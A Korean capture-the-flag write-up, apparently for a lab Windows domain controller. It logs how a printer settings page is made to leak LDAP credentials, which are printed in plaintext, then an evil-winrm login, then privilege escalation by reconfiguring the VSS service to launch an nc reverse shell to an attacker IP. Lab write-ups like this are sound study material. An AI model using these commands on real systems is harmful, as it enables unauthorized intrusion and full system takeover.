초기 침투

[서비스] / [취약점] / [CVE 또는 기법] 요약

SMB 접속 실패함

80포트가 열려있어 웹사이트 접속

settings 접속

/settings.php 으로 POST 요청이 전송되며 파라미터는 IP 만 존재함

ip=printer.return.local

호스트 주소를 칼리로 지정. 389 포트를 열어 기다리면 연결이 이루어짐

nc -lnvp 389 
Listening on 0.0.0.0 389 Connection received on 10.10.11.108 60662 0*`%return\svc-printer 1edFg43012!!

와이어샤크로 확인하면 비밀번호로 LDAP 바인딩이 이루어짐

권한 상승

[misconfiguration 또는 exploit] 요약

winrm으로 로그인 및 플래그 획득

evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!' 
Evil-WinRM shell v3.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc-printer\Documents>
whoami /groups 
GROUP INFORMATION ----------------- 

Group Name Type SID Attributes ========================================== ================ ============ ================================================== 
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288

Server Operators 그룹의 고유 권한을 악용해 권한상승 시도함

도메인 컨트롤러에만 존재하는 기본 제공 그룹입니다. 기본적으로 구성원이 없습니다. 서버 운영자는 서버에 대화형으로 로그온하고, 네트워크 공유를 생성 및 삭제하고, 서비스를 시작 및 중지하고, 파일을 백업 및 복원하고, 컴퓨터의 하드 디스크를 포맷하고, 컴퓨터를 종료할 수 있습니다. 기본 [사용자 권한](https://ss64.com/nt/ntrights.html) : 로컬 로그온 허용: SeInteractiveLogonRight, 파일 및 디렉터리 백업: SeBackupPrivilege, 시스템 시간 변경: SeSystemTimePrivilege, 시간대 변경: SeTimeZonePrivilege, 원격 시스템에서 강제 종료: SeRemoteShutdownPrivilege, 파일 및 디렉터리 복원: SeRestorePrivilege, 시스템 종료: SeShutdownPrivilege

nc.exe 업로드

VSS(binpath 경로 설정, 업로드한 nc.exe 가 실행되도록 설정함 설정한 뒤, sc.exe start VSS 실행하면 쉘을 획득할 수 있음

*Evil-WinRM* PS C:\programdata> sc.exe config VSS binpath="C:\windows\system32\cmd.exe /c C:\programdata\nc64.exe -e cmd 10.10.14.6 443" 
[SC] ChangeServiceConfig SUCCESS 
*Evil-WinRM* PS C:\programdata> sc.exe start VSS 
[SC] StartService FAILED 1053: 

The service did not respond to the start or control request in a timely fashion.
nc -lnvp 443 
Listening on 0.0.0.0 443 
Connection received on 10.10.11.108 49757 
Microsoft Windows [Version 10.0.17763.107] 
(c) 2018 Microsoft Corporation. All rights reserved. 
C:\Windows\system32>whoami 
nt authority\system

막힌 포인트

[열거 누락? 기법 몰랐음? 방향 잘못?] 요약